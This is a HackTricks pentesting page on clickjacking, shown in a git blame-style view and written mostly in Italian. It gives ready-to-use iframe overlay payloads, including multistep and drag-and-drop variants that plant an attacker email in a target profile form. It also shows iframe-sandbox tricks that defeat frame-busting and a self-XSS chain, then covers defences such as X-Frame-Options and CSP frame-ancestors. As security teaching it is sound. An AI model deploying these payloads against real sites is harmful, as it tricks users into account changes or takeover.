hacktricks/pentesting-web/clickjacking.md

230 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 02:25:17 +01:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 17:19:07 +01:00
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire e **automatizzare flussi di lavoro** utilizzando i **più avanzati** strumenti della comunità.\
Get Access Today:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
## What is Clickjacking
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
### Prepopulate forms trick
A volte è possibile **compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
2020-10-13 11:29:54 +00:00
### Populate form with Drag\&Drop
2020-10-13 11:29:54 +00:00
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basic Payload
```markup
<style>
2024-02-10 13:03:23 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload Multistep
```markup
<style>
2024-02-10 13:03:23 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Se hai identificato un **attacco XSS che richiede che un utente clicchi** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
Esempio:\
_Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET._\
\_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
## Strategie per Mitigare il Clickjacking
### Difese Lato Client
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
2024-02-10 13:03:23 +00:00
* Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
* Rendere tutti i frame visibili.
* Prevenire clic su frame invisibili.
* Rilevare e avvisare gli utenti su potenziali tentativi di Clickjacking.
Tuttavia, questi script di frame-busting possono essere elusi:
* **Impostazioni di Sicurezza dei Browser:** Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto per JavaScript.
* **Attributo `sandbox` dell'iframe HTML5:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
2024-02-06 04:10:38 +01:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` e `allow-scripts` valori abilitano azioni all'interno dell'iframe disabilitando la navigazione di livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come `allow-same-origin` e `allow-modals`, a seconda del tipo di attacco. I messaggi della console del browser possono guidare quali autorizzazioni consentire.
2024-02-10 13:03:23 +00:00
### Difese lato server
2024-02-06 04:10:38 +01:00
#### X-Frame-Options
L'**intestazione di risposta HTTP `X-Frame-Options`** informa i browser sulla legittimità di rendering di una pagina in un `<frame>` o `<iframe>`, aiutando a prevenire il Clickjacking:
* `X-Frame-Options: deny` - Nessun dominio può incapsulare il contenuto.
* `X-Frame-Options: sameorigin` - Solo il sito attuale può incapsulare il contenuto.
* `X-Frame-Options: allow-from https://trusted.com` - Solo l' 'uri' specificato può incapsulare la pagina.
* Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.
#### Direttiva frame-ancestors della Content Security Policy (CSP)
La **direttiva `frame-ancestors` nella CSP** è il metodo consigliato per la protezione dal Clickjacking:
* `frame-ancestors 'none'` - Simile a `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Simile a `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Simile a `X-Frame-Options: allow-from`.
Ad esempio, la seguente CSP consente solo l'incapsulamento dallo stesso dominio:
`Content-Security-Policy: frame-ancestors 'self';`
Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione frame-ancestors di Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 04:10:38 +01:00
2024-02-10 13:03:23 +00:00
### Content Security Policy (CSP) con `child-src` e `frame-src`
2024-02-06 04:10:38 +01:00
La **Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe consentire per caricare contenuti.
2024-02-06 04:10:38 +01:00
2024-02-10 13:03:23 +00:00
#### Direttiva `frame-src`
* Definisce fonti valide per i frame.
* Più specifica della direttiva `default-src`.
2024-02-06 04:10:38 +01:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Questa politica consente frame dalla stessa origine (self) e https://trusted-website.com.
2024-02-06 04:10:38 +01:00
2024-02-10 13:03:23 +00:00
#### Direttiva `child-src`
* Introdotta nel livello 2 di CSP per impostare fonti valide per i web worker e i frame.
* Funziona come un fallback per frame-src e worker-src.
2024-02-06 04:10:38 +01:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Questa politica consente frame e worker dalla stessa origine (self) e https://trusted-website.com.
2024-02-06 04:10:38 +01:00
**Note sull'uso:**
2024-02-06 04:10:38 +01:00
* Deprecazione: child-src è in fase di eliminazione a favore di frame-src e worker-src.
* Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
* Definizione rigorosa della fonte: Includere solo fonti affidabili nelle direttive per prevenire sfruttamenti.
#### Script JavaScript per rompere i frame
2024-02-06 04:10:38 +01:00
Sebbene non siano completamente infallibili, gli script di frame-busting basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incapsulata. Esempio:
2024-02-06 04:10:38 +01:00
```javascript
if (top !== self) {
2024-02-10 13:03:23 +00:00
top.location = self.location;
2024-02-06 04:10:38 +01:00
}
```
#### Utilizzo di Token Anti-CSRF
* **Validazione del Token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non tramite una pagina Clickjacked.
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-04-05 18:24:52 -04:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 17:19:07 +01:00
\
Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2023-12-31 02:25:17 +01:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}